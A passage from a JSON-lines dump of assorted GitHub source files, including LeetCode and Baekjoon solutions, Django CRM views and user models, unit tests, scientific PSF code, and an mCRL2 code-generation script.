соответсвенно\n","repo_name":"Stas767/YaTube","sub_path":"yatube/posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"3064905686","text":"import bisect\nimport random\n\n\nclass Solution:\n\n def __init__(self, rects):\n # 思路与528题类似,每个矩形包含的点数即为其权重。计算每个矩阵的权重。\n self.w = [0] * len(rects)\n # 因w中元素都初始化为0,计算w[0]的公式也可以使用w[i]=w[i-1] + dots[i]。因w[-1]是0,不影响结果\n # 点数 = (x2 - x1 + 1) * (y2 - y1 + 1), 需要加1,例如x1=1, x2=5,一共有5个点(5-1+1)\n for i, (x1, y1, x2, y2) in enumerate(rects):\n self.w[i] = self.w[i - 1] + (x2 - x1 + 1) * (y2 - y1 + 1)\n self.rects = rects\n\n def pick(self):\n # random.randint(1, self.w[-1]):随机抽样\n # 在其中二分查找,确认应插入的位置。_left:当含有相等元素时,插在其左侧\n i = bisect.bisect_left(self.w, random.randint(1, self.w[-1]))\n # 在选中的矩形中随机选择坐标位置\n # 也可以不再使用random库,直接利用i计算出整个矩阵组中的第i个点的位置\n xi = random.randint(self.rects[i][0], self.rects[i][2])\n yi = random.randint(self.rects[i][1], self.rects[i][3])\n return [xi, yi]\n\n\n# Your Solution object will be instantiated and called as such:\nrects = [[[[1, 1, 5, 5]]], [], [], []]\nobj = Solution(rects)\nparam_1 = obj.pick()\n","repo_name":"papilong123/LeetCode","sub_path":"python/math/reservoir_sampling/$497_RandomPointInNonoverlappingRectangles.py","file_name":"$497_RandomPointInNonoverlappingRectangles.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"23878726800","text":"r\"\"\"\nTests for the Day objects.\n\"\"\"\n\nimport unittest\nfrom datetime import date, datetime, timedelta\nfrom lachesis.day import Day\nfrom lachesis.timeslice import Timeslice\n\nclass TestDays(unittest.TestCase):\n r\"\"\"\n Tests for Day objects.\n \"\"\"\n def test_days(self):\n r\"\"\"\n Test creating and working with Day objects.\n \"\"\"\n #\n # Initialize some variables.\n start_date = date(year=2023,\n month=11,\n day=1)\n #\n # Create the Day object we'll test first.\n test_day = Day(start_date=start_date)\n self.assertIsInstance(test_day, Day)\n self.assertEqual(str(test_day),\n start_date.strftime('%c'))\n\n def test_equal(self):\n r\"\"\"\n Test the __eq__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=1)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n #\n # Assertions\n self.assertEqual(day1, day2)\n self.assertTrue(day1 == day2)\n self.assertFalse(day1 < day2)\n self.assertFalse(day1 != day2)\n\n def test_not_equal(self):\n r\"\"\"\n Test the __neq__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=2)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n #\n # Assertions\n self.assertNotEqual(day1, day2)\n self.assertTrue(day1 != day2)\n self.assertFalse(day1 == day2)\n\n def test_less_than(self):\n r\"\"\"\n Test the __lt__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=2)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n #\n # Assertions\n self.assertLess(day1, day2)\n self.assertTrue(day1 < day2)\n self.assertFalse(day1 == day2)\n\n def test_less_than_equal(self):\n r\"\"\"\n Test the __le__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=1)\n date3 = date(year=2023,\n month=11,\n day=2)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n day3 = Day(start_date=date3)\n #\n # Assertions\n self.assertLessEqual(day1, day2)\n self.assertLessEqual(day1, day3)\n self.assertTrue(day1 <= day2)\n self.assertTrue(day1 <= day3)\n\n def test_greater_than(self):\n r\"\"\"\n Test the __gt__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=2)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n #\n # Assertions\n self.assertGreater(day2, day1)\n self.assertTrue(day2 > day1)\n self.assertFalse(day2 == day1)\n\n def test_greater_than_equal(self):\n r\"\"\"\n Test the __ge__() method\n \"\"\"\n #\n # Initialize some variables.\n date1 = date(year=2023,\n month=11,\n day=1)\n date2 = date(year=2023,\n month=11,\n day=1)\n date3 = date(year=2023,\n month=11,\n day=2)\n #\n # Create slices.\n day1 = Day(start_date=date1)\n day2 = Day(start_date=date2)\n day3 = Day(start_date=date3)\n #\n # Assertions\n self.assertGreaterEqual(day2, day1)\n self.assertGreaterEqual(day3, day1)\n self.assertTrue(day2 >= day1)\n self.assertTrue(day3 >= day1)\n\n def test_getitem(self):\n r\"\"\"\n Test the __getitem__() method\n \"\"\"\n date1 = date(year=2023,\n month=11,\n day=1)\n # pylint: disable=duplicate-code\n datetime1 = datetime(year=2023,\n month=11,\n day=1,\n hour=0,\n minute=0,\n second=0)\n datetime2 = datetime(year=2023,\n month=11,\n day=1,\n hour=12,\n minute=0,\n second=0)\n datetime3 = datetime(year=2023,\n month=11,\n day=2,\n hour=0,\n minute=0,\n second=0)\n datetime4 = datetime(year=2023,\n month=11,\n day=1,\n hour=12,\n minute=7,\n second=0)\n #\n day1 = Day(start_date=date1)\n slice1 = Timeslice(start_time=datetime1)\n slice2 = Timeslice(start_time=datetime2)\n #\n test_slice1 = day1[datetime1]\n test_slice2 = day1[datetime2]\n #\n # Test that we can get specific slices back\n # from a Day object.\n self.assertIsInstance(test_slice1, Timeslice)\n self.assertIsInstance(test_slice2, Timeslice)\n self.assertEqual(test_slice1, slice1)\n self.assertEqual(test_slice2, slice2)\n #\n # Verify that we cannot get slices that belong\n # to a different Day from this Day.\n with self.assertRaises(KeyError):\n _ = day1[datetime3]\n #\n # Verify that the slice starts on a quarter-hour.\n with self.assertRaises(KeyError):\n _ = day1[datetime4]\n\n def test_len(self):\n r\"\"\"\n Test the __len__() method\n \"\"\"\n date1 = date(year=2023,\n month=11,\n day=1)\n # pylint: disable=duplicate-code\n datetime1 = datetime(year=2023,\n month=11,\n day=1,\n hour=0,\n minute=0,\n second=0)\n datetime2 = datetime(year=2023,\n month=11,\n day=1,\n hour=12,\n minute=0,\n second=0)\n datetime3 = datetime(year=2023,\n month=11,\n day=2,\n hour=0,\n minute=0,\n second=0)\n datetime4 = datetime(year=2023,\n month=11,\n day=1,\n hour=12,\n minute=7,\n second=0)\n #\n day1 = Day(start_date=date1)\n #\n self.assertEqual(len(day1), 0)\n #\n _ = day1[datetime1]\n self.assertEqual(len(day1), 1)\n #\n _ = day1[datetime2]\n self.assertEqual(len(day1), 2)\n #\n with self.assertRaises(KeyError):\n _ = day1[datetime3]\n self.assertEqual(len(day1), 2)\n #\n with self.assertRaises(KeyError):\n _ = day1[datetime4]\n self.assertEqual(len(day1), 2)\n\n def test_iter(self):\n r\"\"\"\n Test the __iter__() method\n \"\"\"\n date1 = date(year=2023,\n month=11,\n day=1)\n end_datetime = datetime(year=date1.year,\n month=date1.month,\n day=date1.day,\n hour=23,\n minute=45,\n second=0)\n #\n day1 = Day(start_date=date1)\n time_delta = timedelta(minutes=15)\n prev_slice = None\n #\n for curr_slice in day1:\n self.assertIsInstance(curr_slice, Timeslice)\n if prev_slice:\n self.assertEqual(curr_slice.start_time - prev_slice.start_time, time_delta)\n prev_slice = curr_slice\n self.assertEqual(prev_slice.start_time, end_datetime)\n","repo_name":"brianfane/lachesis","sub_path":"lachesis/tests/test_day.py","file_name":"test_day.py","file_ext":"py","file_size_in_byte":9094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12982212074","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import division, print_function\n\n__all__ = [\"Frame\"]\n\nimport numpy as np\nfrom simplexy import simplexy\n\nfrom ._kpsf import compute_psf, compute_scene\n\n\nclass Frame(object):\n\n def __init__(self, img, err_img, mask=None, **kwargs):\n if mask is None:\n self.mask = np.isfinite(img)\n else:\n self.mask = mask\n self.img = img\n self.err_img = err_img\n\n # Compute the pixel positions.\n self.shape = self.img.shape\n x, y = np.meshgrid(range(self.shape[0]), range(self.shape[1]),\n indexing=\"ij\")\n self.xi = np.array(x[self.mask], dtype=np.int)\n self.x = np.array(self.xi, dtype=np.float64)\n self.yi = np.array(y[self.mask], dtype=np.int)\n self.y = np.array(self.yi, dtype=np.float64)\n\n # Initialize the coordinate set.\n self.initialize(**kwargs)\n\n def initialize(self, **kwargs):\n if not np.any(self.mask):\n self.coords = []\n return\n tmp = np.array(self.img)\n tmp[~(self.mask)] = np.median(tmp[self.mask])\n self.coords = simplexy(tmp, **kwargs)\n\n def __len__(self):\n return len(self.coords) if self.coords is not None else 0\n\n def predict(self, psf, origin=None, offsets=None, fluxes=None,\n background=None, response=None):\n # Assign the default parameters.\n if origin is None:\n origin = np.array([0.0, 0.0])\n if offsets is None:\n offsets = np.vstack((self.coords[\"x\"], self.coords[\"y\"])).T\n offsets -= origin[None, :]\n if fluxes is None:\n norm = compute_psf(np.ascontiguousarray(psf.pars, np.float64),\n 0.0, 0.0)\n fluxes = np.array(self.coords[\"flux\"] / norm, dtype=np.float64)\n if background is None:\n background = np.median(self.coords[\"bkg\"])\n if response is None:\n response = np.ones(self.shape)\n\n # Compute the prediction.\n tmp = compute_scene(self.x, self.y,\n np.ascontiguousarray(fluxes, np.float64),\n np.ascontiguousarray(origin, np.float64),\n np.ascontiguousarray(offsets, np.float64),\n np.ascontiguousarray(psf.pars, np.float64),\n float(background),\n np.ascontiguousarray(response[self.mask],\n np.float64))\n\n # Reshape the prediction.\n img = np.nan + np.zeros(self.shape)\n img[self.xi, self.yi] = tmp\n return img\n","repo_name":"dfm/kpsf","sub_path":"kpsf/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"72280015411","text":"def bubble_sort(x):\n N = len(x)\n for i in range(0, N - 1):\n for j in range(0, N - i - 1):\n if x[j] > x[j + 1]:\n x[j], x[j + 1] = x[j + 1], x[j]\n\n\nif __name__ == '__main__':\n input()\n x = list(map(int, input().split()))\n print(' '.join(map(str, x)))\n","repo_name":"girafe-ai/msai-algorithms","sub_path":"week01_sorting_algorithms/bubble.py","file_name":"bubble.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"20"} +{"seq_id":"33877715036","text":"\n\nclass Dynamics:\n @staticmethod\n def rossler(xyz, t0, a=0.5, b=2.0, c=4.0):\n x, y, z = xyz\n xdot = - y - z\n ydot = x + a*y\n zdot = b + z*(x - c)\n return xdot, ydot, zdot\n\n @staticmethod\n def lorenz(xyz, t0, a=10.0, b=28, c=8/3):\n x, y, z = xyz\n xdot = -a*x + a*y\n ydot = b*x - y - x*z\n zdot = x*y - c*z\n return xdot, ydot, zdot\n\n @staticmethod\n def modified_lorenz(xyz, t0, a=10.0, b=28, c=8/3):\n x, y, z = xyz\n xdot = -a*x + a*y\n ydot = b*x - y - x*z\n zdot = x*y - c*z + x\n return xdot, ydot, zdot\n","repo_name":"wall3/reservoir-observers","sub_path":"dynamic_systems.py","file_name":"dynamic_systems.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"22546254212","text":"# 1032번_명령 프롬프트-test\n\n## 파일명의 패턴 출력\n## 예를들어 a?b.exe는 acb.exe, aab.exe 등이 출력됨\n## 주어진 파일명에서 패턴 도출, 패턴에는 알파벳, \".\", \"?\"만 사용 가능\n\nN = int(input()) #파일의 개수 N\n\nfirst_file = list(input()) #처음 입력되는 파일명을 비교 대상으로 지정\n\nfor i in range(N-1) : #이후 N-1개의 파일 반복문으로 추가\n other_file = list(input()) #리스트로 만들어줌\n \n for j in range(len(first_file)) : #first_file과 문자 하나씩 비교\n if first_file[j] != other_file[j] :\n first_file[j] = \"?\" #다르면 ?로 바꿔줌\n\nprint(''.join(first_file))\n#print(first_name)으로 하면 ['c','o','n'] 등으로 출력됨\n#'구분자'.join(리스트)는 매개변수로 들어온 각 문자를 문자열로 합쳐서 변환\n#['c','o','n'] -> con으로 출력해줌\n#'_'.join(리스트) : c_o_n으로 출력","repo_name":"MeaninGood/Studying_CT","sub_path":"baekjoon/Bronze/1_1032.py","file_name":"1_1032.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"6865265143","text":"from __future__ import unicode_literals\nfrom django.utils.encoding import python_2_unicode_compatible\n\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.db.models.signals import post_save\n\nfrom django.conf import settings\nUserModel = settings.AUTH_USER_MODEL\n\n\n@python_2_unicode_compatible\nclass User(AbstractUser):\n gh_id = models.IntegerField(blank=True, null=True)\n ghe_id = models.IntegerField(blank=True, null=True)\n\n stub = models.BooleanField(default=False)\n contractor = models.BooleanField(default=True)\n\n def is_authenticated(self):\n \"\"\"\n whether the user is authenticated AND has linked their\n github enterprise account\n \"\"\"\n if not super(User, self).is_authenticated():\n return False\n try:\n self.social_auth.get(provider='github-enterprise')\n except:\n return False\n return True\n\n def is_gh_linked(self):\n \"\"\"\n whether the user has linked github.com account\n \"\"\"\n try:\n self.social_auth.get(provider='github')\n except:\n return False\n return True\n\n def is_admin(self, team_name=None):\n if self.stub:\n return False\n try:\n UserPermTeam.objects.get(user=self, perm__name='admin', team__name=team_name)\n except UserPermTeam.DoesNotExist:\n return False\n else:\n return True\n\n def __str__(self):\n return ''.format(self.username)\n\ndef remove_stubs(sender, instance, **kwargs):\n if instance.stub:\n return\n remove_stub(instance, gh_id=instance.gh_id)\n remove_stub(instance, ghe_id=instance.ghe_id)\n\ndef remove_stub(user, **stub_query):\n \"\"\" switch all relations from old user to new user \"\"\"\n try:\n stub = User.objects.get(stub=True, **stub_query)\n except:\n return\n stub.perm_teams.all().update(user=user)\n stub.perm_repos.all().update(user=user)\n stub.delete()\n\npost_save.connect(remove_stubs, User)\n\n@python_2_unicode_compatible\nclass RepoExtension(models.Model):\n repo = models.OneToOneField('github.Repo', related_name='kratos_extension')\n team = models.ForeignKey('Team', related_name='repos')\n\n def __str__(self):\n return ''.format(self.repo)\n\n@python_2_unicode_compatible\nclass Team(models.Model):\n name = models.CharField(max_length=100)\n\n def __str__(self):\n return ''.format(self.name)\n\n@python_2_unicode_compatible\nclass Perm(models.Model):\n name = models.CharField(max_length=100)\n\n def __str__(self):\n return ''.format(self.name)\n\n\n@python_2_unicode_compatible\nclass UserPermTeam(models.Model):\n user = models.ForeignKey(UserModel, related_name='perm_teams')\n perm = models.ForeignKey(Perm, related_name='user_teams')\n team = models.ForeignKey(Team, related_name='user_perms')\n\n def __str__(self):\n return '<{} has {} for {}>'.format(self.user, self.perm, self.team)\n\n@python_2_unicode_compatible\nclass UserPermRepo(models.Model):\n user = models.ForeignKey(UserModel, related_name='perm_repos')\n perm = models.ForeignKey(Perm, related_name='user_repos')\n repo = models.ForeignKey('github.Repo', related_name='user_perms')\n\n def __str__(self):\n return '<{} has {} for {}>'.format(self.user, self.perm, self.repo)\n","repo_name":"himedlooff/open-source-wizard","sub_path":"devops/kratos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"2862558416","text":"# -*- coding: utf-8 -*-\nimport urllib.request\nimport urllib.parse\n\nheaders = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'} \n\nurl = \"http://hurraydb.sinaapp.com/try.php\" #网页地址\n\nvalues = {\n 'msg' : 'postHurrayaaa'\n }\n \ndata = urllib.parse.urlencode(values).encode(encoding='UTF8')\nreq = urllib.request.Request(url, data, headers)\nreq.add_header('Referer', 'http://www.python.org/')\nresponse = urllib.request.urlopen(req)\nthe_page = response.read()\n \nprint(the_page.decode(\"utf8\"))","repo_name":"Hurray0/python","sub_path":"3.4/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"10279714429","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .models import Lead\nfrom .models import Agent\nfrom .forms import LeadForm, LeadModelForm\n\n\n# Create your views here.\ndef landing_page(request):\n return render(request, \"landing.html\")\n\n\ndef lead_list(request):\n\n leads = Lead.objects.all()\n context = { \"leads\" : leads }\n\n\n\n # return HttpResponse(\"Hello World\")\n return render(request, \"leads/lead_list.html\",context)\n\n\ndef lead_detail(request, pk):\n\n lead = Lead.objects.get(id=pk)\n context = { \"lead\" : lead }\n return render(request, \"leads/lead_detail.html\",context)\n\n\n\ndef lead_create(request):\n form = LeadModelForm()\n\n if request.method == \"POST\": #Proccess the form\n print('Receiving a post request')\n form = LeadModelForm(request.POST)\n\n if form.is_valid():\n print(\"The form is valid\")\n\n form.save()\n\n print(\"Lead has been created\")\n return redirect(\"/leads/\")\n\n context = {\n \"form\": form\n }\n return render(request, \"leads/lead_create.html\", context)\n\n\n\ndef lead_update(request, pk):\n lead = Lead.objects.get(id=pk)\n form = LeadModelForm(instance=lead)\n\n if request.method == \"POST\": #Proccess the form\n print('Receiving a post request')\n form = LeadModelForm(request.POST, instance=lead)\n\n if form.is_valid():\n print(\"The form is valid\")\n\n form.save()\n\n print(\"Lead has been created\")\n return redirect(f\"/leads/{pk}\")\n\n \n context = {\n \"form\": form,\n \"lead\":lead\n }\n return render(request, \"leads/lead_update.html\", context)\n\n\n\ndef lead_delete(request, pk):\n lead = Lead.objects.get(id=pk)\n lead.delete()\n return redirect(\"/leads/\")","repo_name":"tebohomanyeli/bemore","sub_path":"leads/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"14708810006","text":"#!/usr/bin/env python3\n\nimport sys\nfrom mcrl2_classes import *\nfrom mcrl2_utility import *\n\nMCRL2_ROOT = '../../'\n\nclass_map = mcrl2_class_map()\nall_classes = parse_class_map(class_map)\nmodifiability_map = make_modifiability_map(all_classes)\n\nfile_map = {\n 'action_formulas' : MCRL2_ROOT + 'libraries/modal_formula/source/modal_formula.cpp',\n 'bes' : MCRL2_ROOT + 'libraries/bes/source/bes.cpp',\n 'core' : MCRL2_ROOT + 'libraries/core/source/core.cpp',\n 'data' : MCRL2_ROOT + 'libraries/data/source/data.cpp',\n 'lps' : MCRL2_ROOT + 'libraries/lps/source/lps.cpp',\n 'pbes_system' : MCRL2_ROOT + 'libraries/pbes/source/pbes.cpp',\n 'process' : MCRL2_ROOT + 'libraries/process/source/process.cpp',\n 'regular_formulas' : MCRL2_ROOT + 'libraries/modal_formula/source/modal_formula.cpp',\n 'state_formulas' : MCRL2_ROOT + 'libraries/modal_formula/source/modal_formula.cpp',\n}\n\nPP_CLASSNAMES = '''\ndata::sort_expression_list\ndata::sort_expression_vector\ndata::data_expression_list\ndata::data_expression_vector\ndata::assignment_list\ndata::assignment_vector\ndata::variable_list\ndata::variable_vector\ndata::function_symbol_list\ndata::function_symbol_vector\ndata::structured_sort_constructor_list\ndata::structured_sort_constructor_vector\ndata::data_equation_list\ndata::data_equation_vector\npbes_system::pbes_equation_vector\npbes_system::pbes_expression_list\npbes_system::pbes_expression_vector\npbes_system::propositional_variable_list\npbes_system::propositional_variable_vector\npbes_system::propositional_variable_instantiation_list\npbes_system::propositional_variable_instantiation_vector\nprocess::action_list\nprocess::action_vector\nprocess::action_label_list\nprocess::action_label_vector\nprocess::process_identifier_list\nprocess::process_identifier_vector\nprocess::process_expression_list\nprocess::process_expression_vector\nprocess::process_equation_list\nprocess::process_equation_vector\n'''\n\nNORMALIZE_SORTS_CLASSNAMES = '''\ndata::data_equation\ndata::data_equation_list\ndata::data_equation_vector\ndata::data_expression\ndata::sort_expression\ndata::variable_list\nlps::multi_action\nlps::specification\nprocess::action\nprocess::action_label_list\nprocess::process_equation_vector\nprocess::process_specification\npbes_system::pbes_equation_vector\npbes_system::pbes\npbes_system::pbes_expression\nstate_formulas::state_formula\n'''\n\nTRANSLATE_USER_NOTATION_CLASSNAMES = '''\ndata::data_expression\ndata::data_equation\nlps::multi_action\npbes_system::pbes\npbes_system::pbes_expression\nprocess::action\nprocess::process_expression\nprocess::process_specification\nstate_formulas::state_formula\n'''\n\nFIND_SORT_EXPRESSIONS_CLASSNAMES = '''\ndata::data_equation\ndata::data_expression\ndata::sort_expression\nlps::specification\nlps::stochastic_specification\npbes_system::pbes\nprocess::action_label_list\nprocess::process_equation_vector\nprocess::process_expression\nprocess::process_specification\nstate_formulas::state_formula\n'''\n\nFIND_VARIABLES_CLASSNAMES = '''\naction_formulas::action_formula\ndata::data_expression\ndata::data_expression_list\ndata::function_symbol\ndata::variable\ndata::variable_list\nlps::linear_process\nlps::stochastic_linear_process\nlps::specification\nlps::stochastic_specification\nlps::deadlock\nlps::multi_action\npbes_system::pbes\nprocess::action\nstate_formulas::state_formula\n'''\n\nFIND_FREE_VARIABLES_CLASSNAMES = '''\ndata::data_expression\ndata::data_expression_list\nlps::linear_process\nlps::stochastic_linear_process\nlps::specification\nlps::stochastic_specification\nlps::deadlock\nlps::multi_action\nlps::process_initializer\nlps::stochastic_process_initializer\npbes_system::pbes\npbes_system::pbes_expression\npbes_system::pbes_equation\nprocess::action\nprocess::process_specification\nstate_formulas::state_formula\n'''\n\nFIND_FUNCTION_SYMBOLS_CLASSNAMES = '''\ndata::data_equation\nlps::specification\nlps::stochastic_specification\npbes_system::pbes\n'''\n\nFIND_PROPOSITIONAL_VARIABLE_INSTANTIATIONS_CLASSNAMES = '''\npbes_system::pbes_expression\n'''\n\nFIND_IDENTIFIERS_CLASSNAMES = '''\ndata::variable_list\nlps::specification\nlps::stochastic_specification\nprocess::process_specification\npbes_system::pbes_expression\nstate_formulas::state_formula\n'''\n\nFIND_ACTION_LABELS_CLASSNAMES = '''\nlps::linear_process\nlps::process_initializer\nlps::specification\nstate_formulas::state_formula\n'''\n\nSEARCH_VARIABLE_CLASSNAMES = '''\ndata::data_expression\npbes_system::pbes_expression\n'''\n\ndef has_specification(type):\n return type.endswith('specification') or type.endswith('pbes')\n\ndef is_modifiable(type):\n if type in modifiability_map:\n return modifiability_map[type]\n elif type.endswith('_list'):\n return False\n elif type.endswith('_vector'):\n return True\n elif type.endswith('pbes'):\n return True\n elif type.endswith('vector'):\n return True\n raise Exception('Unknown type %s!' % type)\n\ndef extract_namespace(classname):\n return re.sub('::.*', '', classname)\n\ndef generate_traverser_overloads(classnames, function, return_type, code_map):\n for classname in classnames:\n namespace = extract_namespace(classname)\n text = re.sub('>>', '> >', '%s %s(const %s& x) { return %s::%s< %s >(x); }\\n' % (return_type, function, classname, namespace, function, classname))\n if namespace in code_map:\n code_map[namespace].append(text)\n\ndef generate_builder_overloads(classnames, function, code_map):\n for classname in classnames:\n namespace = extract_namespace(classname)\n if is_modifiable(classname):\n text = 'void %s(%s& x) { %s::%s< %s >(x); }\\n' % (function, classname, namespace, function, classname)\n else:\n text = '%s %s(const %s& x) { return %s::%s< %s >(x); }\\n' % (classname, function, classname, namespace, function, classname)\n if namespace in code_map:\n code_map[namespace].append(text)\n\n# special because of additional variable argument\ndef generate_search_variable_overloads(classnames, function, return_type, code_map):\n for classname in classnames:\n namespace = extract_namespace(classname)\n text = re.sub('>>', '> >', '%s %s(const %s& x, const data::variable& v) { return %s::%s< %s >(x, v); }\\n' % (return_type, function, classname, namespace, function, classname))\n if namespace in code_map:\n code_map[namespace].append(text)\n\n# special because of additional data_specification argument\ndef generate_normalize_sorts_overloads(classnames, code_map):\n for classname in classnames:\n namespace = extract_namespace(classname)\n if is_modifiable(classname):\n text = 'void normalize_sorts(%s& x, const data::sort_specification& sortspec) { %s::normalize_sorts< %s >(x, sortspec); }\\n' % (classname, namespace, classname)\n else:\n text = '%s normalize_sorts(const %s& x, const data::sort_specification& sortspec) { return %s::normalize_sorts< %s >(x, sortspec); }\\n' % (classname, classname, namespace, classname)\n if has_specification(classname):\n text = re.sub('x, sortspec', 'x, x.data()', text)\n text = re.sub('& sortspec', '& /* sortspec */', text)\n if namespace in code_map:\n code_map[namespace].append(text)\n\ncode_map = {}\nfor namespace in file_map:\n code_map[namespace] = []\n\n# add pp overloads for all known classes\nfor name in sorted(all_classes):\n c = all_classes[name]\n PP_CLASSNAMES = PP_CLASSNAMES + '\\n%s::%s' % (c.namespace(), c.classname())\n\nclassnames = PP_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'pp', 'std::string', code_map)\n\nclassnames = NORMALIZE_SORTS_CLASSNAMES.strip().split()\ngenerate_normalize_sorts_overloads(classnames, code_map)\n\nclassnames = TRANSLATE_USER_NOTATION_CLASSNAMES.strip().split()\ngenerate_builder_overloads(classnames, 'translate_user_notation', code_map)\n\nclassnames = FIND_SORT_EXPRESSIONS_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_sort_expressions', 'std::set', code_map)\n\nclassnames = FIND_VARIABLES_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_all_variables', 'std::set', code_map)\n\nclassnames = FIND_FREE_VARIABLES_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_free_variables', 'std::set', code_map)\n\nclassnames = FIND_FUNCTION_SYMBOLS_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_function_symbols', 'std::set', code_map)\n\nclassnames = FIND_PROPOSITIONAL_VARIABLE_INSTANTIATIONS_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_propositional_variable_instantiations', 'std::set', code_map)\n\nclassnames = FIND_IDENTIFIERS_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_identifiers', 'std::set', code_map)\n\nclassnames = FIND_ACTION_LABELS_CLASSNAMES.strip().split()\ngenerate_traverser_overloads(classnames, 'find_action_labels', 'std::set', code_map)\n\nclassnames = SEARCH_VARIABLE_CLASSNAMES.strip().split()\ngenerate_search_variable_overloads(classnames, 'search_variable', 'bool', code_map)\n\nresult = True\nfor namespace in code_map:\n filename = file_map[namespace]\n text = ''.join(code_map[namespace])\n label = 'generated %s overloads' % namespace\n result = insert_text_in_file(filename, text, label) and result\nsys.exit(not result) # 0 result indicates successful execution\n","repo_name":"mCRL2org/mCRL2","sub_path":"build/code_generation/generate_template_overloads.py","file_name":"generate_template_overloads.py","file_ext":"py","file_size_in_byte":9488,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"20"} +{"seq_id":"35566472828","text":"from unittest.mock import MagicMock\n\nimport pytest\nfrom flask import Flask, Request\nfrom option import Err, Ok, Result\n\nfrom core.api.ohs_api import OhsApi\nfrom core.app import App\nfrom core.gql.graphql_controller import GraphqlController\nfrom core.gql.graphql_request import GraphqlRequest\nfrom core.http import HttpError\nfrom core.persistence.connection_manager import ConnectionManager\nfrom core.tests.generation import fake\n\nmock_gql_controller = MagicMock(GraphqlController)\nmock_flask_app = MagicMock(Flask)\nmock_connection_manager = MagicMock(ConnectionManager)\nmock_api = MagicMock(OhsApi)\n\n\nclass FakeApp(App):\n def create_user(self, post_json: dict) -> Result[str, str]:\n pass\n\n def get_token(self, user_identity, password) -> Result[str, str]:\n pass\n\n authenticate_user_by_token = MagicMock(return_value=Ok(None))\n\n\napp = FakeApp(mock_flask_app, mock_gql_controller, mock_api, mock_connection_manager)\n\n\nclass TestExecuteGql:\n @pytest.mark.parametrize(\"success\", [True, False])\n def test_post(self, success):\n expected_data = {\"data\": {\"f\": \"s\"}}\n query = \"foo\"\n\n request = MagicMock(Request)\n request.headers = {\"Authorization\": \"Bearer TOKEN\"}\n request.method = \"POST\"\n request.json = {\"query\": query}\n\n gql_request = GraphqlRequest(query)\n\n result = Ok(expected_data) if success else Err(expected_data)\n mock_gql_controller.execute = MagicMock(return_value=result)\n\n result = app.execute_gql(request)\n if success:\n assert result.unwrap() == expected_data\n else:\n assert result.unwrap_err() == HttpError(400, expected_data)\n mock_gql_controller.execute.assert_called_once_with(\n gql_request, app.create_secure_context(request).unwrap()\n )\n\n def test_post_parse_fail(self):\n request = MagicMock(Request)\n request.method = \"POST\"\n request.json = None\n\n mock_gql_controller.execute = MagicMock()\n\n result = app.execute_gql(request)\n assert result.unwrap_err().code == 400\n for err in result.unwrap_err().to_dict()[\"errors\"]:\n assert isinstance(err, str)\n mock_gql_controller.execute.assert_not_called()\n\n def test_post_auth_fail(self):\n request = MagicMock(Request)\n request.method = \"POST\"\n request.json = {\"query\": \"bar\"}\n error = fake.pystr()\n\n mock_gql_controller.execute = MagicMock()\n _old_create_secure_context = app.create_secure_context\n app.create_secure_context = MagicMock(return_value=Err(error))\n result = app.execute_gql(request)\n assert result.unwrap_err().code == 401\n assert result.unwrap_err().to_dict() == {\"errors\": [error]}\n\n mock_gql_controller.execute.assert_not_called()\n 